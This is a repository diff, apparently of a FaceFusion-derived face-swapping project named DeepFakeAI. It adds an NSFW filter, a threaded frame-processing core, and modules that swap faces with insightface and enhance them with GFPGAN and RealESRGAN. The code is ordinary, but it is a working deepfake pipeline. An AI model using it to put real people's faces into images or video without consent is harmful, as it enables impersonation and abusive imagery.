+ PREDICTOR = None
27
+
28
+
29
+ def predict_frame(target_frame : Frame) -> bool:
30
+ image = Image.fromarray(target_frame)
31
+ image = opennsfw2.preprocess_image(image, opennsfw2.Preprocessing.YAHOO)
32
+ views = numpy.expand_dims(image, axis = 0)
33
+ _, probability = get_predictor().predict(views)[0]
34
+ return probability > MAX_PROBABILITY
35
+
36
+
37
+ def predict_image(target_path : str) -> bool:
38
+ return opennsfw2.predict_image(target_path) > MAX_PROBABILITY
39
+
40
+
41
+ def predict_video(target_path : str) -> bool:
42
+ _, probabilities = opennsfw2.predict_video_frames(video_path = target_path, frame_interval = 100)
43
+ return any(probability > MAX_PROBABILITY for probability in probabilities)
DeepFakeAI/processors/__init__.py ADDED
File without changes
DeepFakeAI/processors/__pycache__/__init__.cpython-310.pyc ADDED
Binary file (146 Bytes). View file
 
DeepFakeAI/processors/frame/__init__.py ADDED
File without changes
DeepFakeAI/processors/frame/__pycache__/__init__.cpython-310.pyc ADDED
Binary file (152 Bytes). View file
 
DeepFakeAI/processors/frame/__pycache__/core.cpython-310.pyc ADDED
Binary file (4.06 kB). View file
 
DeepFakeAI/processors/frame/core.py ADDED
@@ -0,0 +1,113 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import sys
3
+ import importlib
4
+ import psutil
5
+ from concurrent.futures import ThreadPoolExecutor, as_completed
6
+ from queue import Queue
7
+ from types import ModuleType
8
+ from typing import Any, List, Callable
9
+ from tqdm import tqdm
10
+
11
+ import DeepFakeAI.globals
12
+ from DeepFakeAI import wording
13
+
14
+ FRAME_PROCESSORS_MODULES : List[ModuleType] = []
15
+ FRAME_PROCESSORS_METHODS =\
16
+ [
17
+ 'get_frame_processor',
18
+ 'clear_frame_processor',
19
+ 'pre_check',
20
+ 'pre_process',
21
+ 'process_frame',
22
+ 'process_frames',
23
+ 'process_image',
24
+ 'process_video',
25
+ 'post_process'
26
+ ]
27
+
28
+
29
+ def load_frame_processor_module(frame_processor : str) -> Any:
30
+ try:
31
+ frame_processor_module = importlib.import_module('DeepFakeAI.processors.frame.modules.' + frame_processor)
32
+ for method_name in FRAME_PROCESSORS_METHODS:
33
+ if not hasattr(frame_processor_module, method_name):
34
+ raise NotImplementedError
35
+ except ModuleNotFoundError:
36
+ sys.exit(wording.get('frame_processor_not_loaded').format(frame_processor = frame_processor))
37
+ except NotImplementedError:
38
+ sys.exit(wording.get('frame_processor_not_implemented').format(frame_processor = frame_processor))
39
+ return frame_processor_module
40
+
41
+
42
+ def get_frame_processors_modules(frame_processors : List[str]) -> List[ModuleType]:
43
+ global FRAME_PROCESSORS_MODULES
44
+
45
+ if not FRAME_PROCESSORS_MODULES:
46
+ for frame_processor in frame_processors:
47
+ frame_processor_module = load_frame_processor_module(frame_processor)
48
+ FRAME_PROCESSORS_MODULES.append(frame_processor_module)
49
+ return FRAME_PROCESSORS_MODULES
50
+
51
+
52
+ def clear_frame_processors_modules() -> None:
53
+ global FRAME_PROCESSORS_MODULES
54
+
55
+ for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
56
+ frame_processor_module.clear_frame_processor()
57
+ FRAME_PROCESSORS_MODULES = []
58
+
59
+
60
+ def multi_process_frame(source_path : str, temp_frame_paths : List[str], process_frames: Callable[[str, List[str], Any], None], update: Callable[[], None]) -> None:
61
+ with ThreadPoolExecutor(max_workers = DeepFakeAI.globals.execution_thread_count) as executor:
62
+ futures = []
63
+ queue = create_queue(temp_frame_paths)
64
+ queue_per_future = max(len(temp_frame_paths) // DeepFakeAI.globals.execution_thread_count * DeepFakeAI.globals.execution_queue_count, 1)
65
+ while not queue.empty():
66
+ future = executor.submit(process_frames, source_path, pick_queue(queue, queue_per_future), update)
67
+ futures.append(future)
68
+ for future in as_completed(futures):
69
+ future.result()
70
+
71
+
72
+ def create_queue(temp_frame_paths : List[str]) -> Queue[str]:
73
+ queue: Queue[str] = Queue()
74
+ for frame_path in temp_frame_paths:
75
+ queue.put(frame_path)
76
+ return queue
77
+
78
+
79
+ def pick_queue(queue : Queue[str], queue_per_future : int) -> List[str]:
80
+ queues = []
81
+ for _ in range(queue_per_future):
82
+ if not queue.empty():
83
+ queues.append(queue.get())
84
+ return queues
85
+
86
+
87
+ def process_video(source_path : str, frame_paths : List[str], process_frames : Callable[[str, List[str], Any], None]) -> None:
88
+ progress_bar_format = '{l_bar}{bar}| {n_fmt}/{total_fmt} [{elapsed}<{remaining}, {rate_fmt}{postfix}]'
89
+ total = len(frame_paths)
90
+ with tqdm(total = total, desc = wording.get('processing'), unit = 'frame', dynamic_ncols = True, bar_format = progress_bar_format) as progress:
91
+ multi_process_frame(source_path, frame_paths, process_frames, lambda: update_progress(progress))
92
+
93
+
94
+ def update_progress(progress : Any = None) -> None:
95
+ process = psutil.Process(os.getpid())
96
+ memory_usage = process.memory_info().rss / 1024 / 1024 / 1024
97
+ progress.set_postfix(
98
+ {
99
+ 'memory_usage': '{:.2f}'.format(memory_usage).zfill(5) + 'GB',
100
+ 'execution_providers': DeepFakeAI.globals.execution_providers,
101
+ 'execution_thread_count': DeepFakeAI.globals.execution_thread_count,
102
+ 'execution_queue_count': DeepFakeAI.globals.execution_queue_count
103
+ })
104
+ progress.refresh()
105
+ progress.update(1)
106
+
107
+
108
+ def get_device() -> str:
109
+ if 'CUDAExecutionProvider' in DeepFakeAI.globals.execution_providers:
110
+ return 'cuda'
111
+ if 'CoreMLExecutionProvider' in DeepFakeAI.globals.execution_providers:
112
+ return 'mps'
113
+ return 'cpu'
DeepFakeAI/processors/frame/modules/__init__.py ADDED
File without changes
DeepFakeAI/processors/frame/modules/__pycache__/__init__.cpython-310.pyc ADDED
Binary file (160 Bytes). View file
 
DeepFakeAI/processors/frame/modules/__pycache__/face_enhancer.cpython-310.pyc ADDED
Binary file (3.6 kB). View file
 
DeepFakeAI/processors/frame/modules/__pycache__/face_swapper.cpython-310.pyc ADDED
Binary file (4.21 kB). View file
 
DeepFakeAI/processors/frame/modules/__pycache__/frame_enhancer.cpython-310.pyc ADDED
Binary file (3.09 kB). View file
 
DeepFakeAI/processors/frame/modules/face_enhancer.py ADDED
@@ -0,0 +1,100 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Any, List, Callable
2
+ import cv2
3
+ import threading
4
+ from gfpgan.utils import GFPGANer
5
+
6
+ import DeepFakeAI.globals
7
+ import DeepFakeAI.processors.frame.core as frame_processors
8
+ from DeepFakeAI import wording
9
+ from DeepFakeAI.core import update_status
10
+ from DeepFakeAI.face_analyser import get_many_faces
11
+ from DeepFakeAI.typing import Frame, Face
12
+ from DeepFakeAI.utilities import conditional_download, resolve_relative_path, is_image, is_video
13
+
14
+ FRAME_PROCESSOR = None
15
+ THREAD_SEMAPHORE = threading.Semaphore()
16
+ THREAD_LOCK = threading.Lock()
17
+ NAME = 'FACEFUSION.FRAME_PROCESSOR.FACE_ENHANCER'
18
+
19
+
20
+ def get_frame_processor() -> Any:
21
+ global FRAME_PROCESSOR
22
+
23
+ with THREAD_LOCK:
24
+ if FRAME_PROCESSOR is None:
25
+ model_path = resolve_relative_path('../.assets/models/GFPGANv1.4.pth')
26
+ FRAME_PROCESSOR = GFPGANer(
27
+ model_path = model_path,
28
+ upscale = 1,
29
+ device = frame_processors.get_device()
30
+ )
31
+ return FRAME_PROCESSOR
32
+
33
+
34
+ def clear_frame_processor() -> None:
35
+ global FRAME_PROCESSOR
36
+
37
+ FRAME_PROCESSOR = None
38
+
39
+
40
+ def pre_check() -> bool:
41
+ download_directory_path = resolve_relative_path('../.assets/models')
42
+ conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/GFPGANv1.4.pth'])
43
+ return True
44
+
45
+
46
+ def pre_process() -> bool:
47
+ if not is_image(DeepFakeAI.globals.target_path) and not is_video(DeepFakeAI.globals.target_path):
48
+ update_status(wording.get('select_image_or_video_target') + wording.get('exclamation_mark'), NAME)
49
+ return False
50
+ return True
51
+
52
+
53
+ def post_process() -> None:
54
+ clear_frame_processor()
55
+
56
+
57
+ def enhance_face(target_face : Face, temp_frame : Frame) -> Frame:
58
+ start_x, start_y, end_x, end_y = map(int, target_face['bbox'])
59
+ padding_x = int((end_x - start_x) * 0.5)
60
+ padding_y = int((end_y - start_y) * 0.5)
61
+ start_x = max(0, start_x - padding_x)
62
+ start_y = max(0, start_y - padding_y)
63
+ end_x = max(0, end_x + padding_x)
64
+ end_y = max(0, end_y + padding_y)
65
+ crop_frame = temp_frame[start_y:end_y, start_x:end_x]
66
+ if crop_frame.size:
67
+ with THREAD_SEMAPHORE:
68
+ _, _, crop_frame = get_frame_processor().enhance(
69
+ crop_frame,
70
+ paste_back = True
71
+ )
72
+ temp_frame[start_y:end_y, start_x:end_x] = crop_frame
73
+ return temp_frame
74
+
75
+
76
+ def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
77
+ many_faces = get_many_faces(temp_frame)
78
+ if many_faces:
79
+ for target_face in many_faces:
80
+ temp_frame = enhance_face(target_face, temp_frame)
81
+ return temp_frame
82
+
83
+
84
+ def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
85
+ for temp_frame_path in temp_frame_paths:
86
+ temp_frame = cv2.imread(temp_frame_path)
87
+ result_frame = process_frame(None, None, temp_frame)
88
+ cv2.imwrite(temp_frame_path, result_frame)
89
+ if update:
90
+ update()
91
+
92
+
93
+ def process_image(source_path : str, target_path : str, output_path : str) -> None:
94
+ target_frame = cv2.imread(target_path)
95
+ result_frame = process_frame(None, None, target_frame)
96
+ cv2.imwrite(output_path, result_frame)
97
+
98
+
99
+ def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
100
+ DeepFakeAI.processors.frame.core.process_video(None, temp_frame_paths, process_frames)
DeepFakeAI/processors/frame/modules/face_swapper.py ADDED
@@ -0,0 +1,105 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Any, List, Callable
2
+ import cv2
3
+ import insightface
4
+ import threading
5
+
6
+ import DeepFakeAI.globals
7
+ import DeepFakeAI.processors.frame.core as frame_processors
8
+ from DeepFakeAI import wording
9
+ from DeepFakeAI.core import update_status
10
+ from DeepFakeAI.face_analyser import get_one_face, get_many_faces, find_similar_faces
11
+ from DeepFakeAI.face_reference import get_face_reference, set_face_reference
12
+ from DeepFakeAI.typing import Face, Frame
13
+ from DeepFakeAI.utilities import conditional_download, resolve_relative_path, is_image, is_video
14
+
15
+ FRAME_PROCESSOR = None
16
+ THREAD_LOCK = threading.Lock()
17
+ NAME = 'FACEFUSION.FRAME_PROCESSOR.FACE_SWAPPER'
18
+
19
+
20
+ def get_frame_processor() -> Any:
21
+ global FRAME_PROCESSOR
22
+
23
+ with THREAD_LOCK:
24
+ if FRAME_PROCESSOR is None:
25
+ model_path = resolve_relative_path('../.assets/models/inswapper_128.onnx')
26
+ FRAME_PROCESSOR = insightface.model_zoo.get_model(model_path, providers = DeepFakeAI.globals.execution_providers)
27
+ return FRAME_PROCESSOR
28
+
29
+
30
+ def clear_frame_processor() -> None:
31
+ global FRAME_PROCESSOR
32
+
33
+ FRAME_PROCESSOR = None
34
+
35
+
36
+ def pre_check() -> bool:
37
+ download_directory_path = resolve_relative_path('../.assets/models')
38
+ conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/inswapper_128.onnx'])
39
+ return True
40
+
41
+
42
+ def pre_process() -> bool:
43
+ if not is_image(DeepFakeAI.globals.source_path):
44
+ update_status(wording.get('select_image_source') + wording.get('exclamation_mark'), NAME)
45
+ return False
46
+ elif not get_one_face(cv2.imread(DeepFakeAI.globals.source_path)):
47
+ update_status(wording.get('no_source_face_detected') + wording.get('exclamation_mark'), NAME)
48
+ return False
49
+ if not is_image(DeepFakeAI.globals.target_path) and not is_video(DeepFakeAI.globals.target_path):
50
+ update_status(wording.get('select_image_or_video_target') + wording.get('exclamation_mark'), NAME)
51
+ return False
52
+ return True
53
+
54
+
55
+ def post_process() -> None:
56
+ clear_frame_processor()
57
+
58
+
59
+ def swap_face(source_face : Face, target_face : Face, temp_frame : Frame) -> Frame:
60
+ return get_frame_processor().get(temp_frame, target_face, source_face, paste_back = True)
61
+
62
+
63
+ def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
64
+ if 'reference' in DeepFakeAI.globals.face_recognition:
65
+ similar_faces = find_similar_faces(temp_frame, reference_face, DeepFakeAI.globals.reference_face_distance)
66
+ if similar_faces:
67
+ for similar_face in similar_faces:
68
+ temp_frame = swap_face(source_face, similar_face, temp_frame)
69
+ if 'many' in DeepFakeAI.globals.face_recognition:
70
+ many_faces = get_many_faces(temp_frame)
71
+ if many_faces:
72
+ for target_face in many_faces:
73
+ temp_frame = swap_face(source_face, target_face, temp_frame)
74
+ return temp_frame
75
+
76
+
77
+ def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
78
+ source_face = get_one_face(cv2.imread(source_path))
79
+ reference_face = get_face_reference() if 'reference' in DeepFakeAI.globals.face_recognition else None
80
+ for temp_frame_path in temp_frame_paths:
81
+ temp_frame = cv2.imread(temp_frame_path)
82
+ result_frame = process_frame(source_face, reference_face, temp_frame)
83
+ cv2.imwrite(temp_frame_path, result_frame)
84
+ if update:
85
+ update()
86
+
87
+
88
+ def process_image(source_path : str, target_path : str, output_path : str) -> None:
89
+ source_face = get_one_face(cv2.imread(source_path))
90
+ target_frame = cv2.imread(target_path)
91
+ reference_face = get_one_face(target_frame, DeepFakeAI.globals.reference_face_position) if 'reference' in DeepFakeAI.globals.face_recognition else None
92
+ result_frame = process_frame(source_face, reference_face, target_frame)
93
+ cv2.imwrite(output_path, result_frame)
94
+
95
+
96
+ def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
97
+ conditional_set_face_reference(temp_frame_paths)
98
+ frame_processors.process_video(source_path, temp_frame_paths, process_frames)
99
+
100
+
101
+ def conditional_set_face_reference(temp_frame_paths : List[str]) -> None:
102
+ if 'reference' in DeepFakeAI.globals.face_recognition and not get_face_reference():
103
+ reference_frame = cv2.imread(temp_frame_paths[DeepFakeAI.globals.reference_frame_number])
104
+ reference_face = get_one_face(reference_frame, DeepFakeAI.globals.reference_face_position)
105
+ set_face_reference(reference_face)
DeepFakeAI/processors/frame/modules/frame_enhancer.py ADDED
@@ -0,0 +1,88 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Any, List, Callable
2
+ import cv2
3
+ import threading
4
+ from basicsr.archs.rrdbnet_arch import RRDBNet
5
+ from realesrgan import RealESRGANer
6
+
7
+ import DeepFakeAI.processors.frame.core as frame_processors
8
+ from DeepFakeAI.typing import Frame, Face
9
+ from DeepFakeAI.utilities import conditional_download, resolve_relative_path
10
+
11
+ FRAME_PROCESSOR = None
12
+ THREAD_SEMAPHORE = threading.Semaphore()
13
+ THREAD_LOCK = threading.Lock()
14
+ NAME = 'FACEFUSION.FRAME_PROCESSOR.FRAME_ENHANCER'
15
+
16
+
17
+ def get_frame_processor() -> Any:
18
+ global FRAME_PROCESSOR
19
+
20
+ with THREAD_LOCK:
21
+ if FRAME_PROCESSOR is None:
22
+ model_path = resolve_relative_path('../.assets/models/RealESRGAN_x4plus.pth')
23
+ FRAME_PROCESSOR = RealESRGANer(
24
+ model_path = model_path,
25
+ model = RRDBNet(
26
+ num_in_ch = 3,
27
+ num_out_ch = 3,
28
+ num_feat = 64,
29
+ num_block = 23,
30
+ num_grow_ch = 32,
31
+ scale = 4
32
+ ),
33
+ device = frame_processors.get_device(),
34
+ tile = 512,
35
+ tile_pad = 32,
36
+ pre_pad = 0,
37
+ scale = 4
38
+ )
39
+ return FRAME_PROCESSOR
40
+
41
+
42
+ def clear_frame_processor() -> None:
43
+ global FRAME_PROCESSOR
44
+
45
+ FRAME_PROCESSOR = None
46
+
47
+
48
+ def pre_check() -> bool:
49
+ download_directory_path = resolve_relative_path('../.assets/models')
50
+ conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/RealESRGAN_x4plus.pth'])
51
+ return True
52
+
53
+
54
+ def pre_process() -> bool:
55
+ return True
56
+
57
+
58
+ def post_process() -> None:
59
+ clear_frame_processor()
60
+
61
+
62
+ def enhance_frame(temp_frame : Frame) -> Frame:
63
+ with THREAD_SEMAPHORE:
64
+ temp_frame, _ = get_frame_processor().enhance(temp_frame, outscale = 1)
65
+ return temp_frame
66
+
67
+
68
+ def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
69
+ return enhance_frame(temp_frame)
70
+
71
+
72
+ def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
73
+ for temp_frame_path in temp_frame_paths:
74
+ temp_frame = cv2.imread(temp_frame_path)
75
+ result_frame = process_frame(None, None, temp_frame)
76
+ cv2.imwrite(temp_frame_path, result_frame)
77
+ if update:
78
+ update()
79
+
80
+
81
+ def process_image(source_path : str, target_path : str, output_path : str) -> None:
82
+ target_frame = cv2.imread(target_path)
83
+ result = process_frame(None, None, target_frame)
84
+ cv2.imwrite(output_path, result)
85
+
86
+
87
+ def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
88
+ frame_processors.process_video(None, temp_frame_paths, process_frames)
DeepFakeAI/typing.py ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Any, Literal
2
+ from insightface.app.common import Face
3
+ import numpy
4
+
5
+ Face = Face
6
+ Frame = numpy.ndarray[Any, Any]
7
+
8
+ FaceRecognition = Literal[ 'reference', 'many' ]
9
+ FaceAnalyserDirection = Literal[ 'left-right', 'right-left', 'top-bottom', 'bottom-top', 'small-large', 'large-small' ]
10
+ FaceAnalyserAge = Literal[ 'child', 'teen', 'adult', 'senior' ]
11
+ FaceAnalyserGender = Literal[ 'male', 'female' ]
12
+ TempFrameFormat = Literal[ 'jpg', 'png' ]
13
+ OutputVideoEncoder = Literal[ 'libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc' ]
DeepFakeAI/uis/__init__.py ADDED
File without changes
DeepFakeAI/uis/__pycache__/__init__.cpython-310.pyc ADDED
Binary file (139 Bytes). View file
 
DeepFakeAI/uis/__pycache__/core.cpython-310.pyc ADDED
Binary file (2.38 kB). View file
 
DeepFakeAI/uis/__pycache__/typing.cpython-310.pyc ADDED
Binary file (606 Bytes). View file
 
DeepFakeAI/uis/components/__init__.py ADDED
File without changes
DeepFakeAI/uis/components/__pycache__/__init__.cpython-310.pyc ADDED
Binary file (150 Bytes). View file
 
DeepFakeAI/uis/components/__pycache__/about.cpython-310.pyc ADDED
Binary file (614 Bytes). View file
 
DeepFakeAI/uis/components/__pycache__/execution.cpython-310.pyc ADDED
Binary file (2.3 kB). View file
 
DeepFakeAI/uis/components/__pycache__/face_analyser.cpython-310.pyc ADDED
Binary file (2.11 kB). View file
 
DeepFakeAI/uis/components/__pycache__/face_selector.cpython-310.pyc ADDED
Binary file (4.32 kB). View file
 
DeepFakeAI/uis/components/__pycache__/output.cpython-310.pyc ADDED
Binary file (1.99 kB). View file
 
DeepFakeAI/uis/components/__pycache__/output_settings.cpython-310.pyc ADDED
Binary file (1.57 kB). View file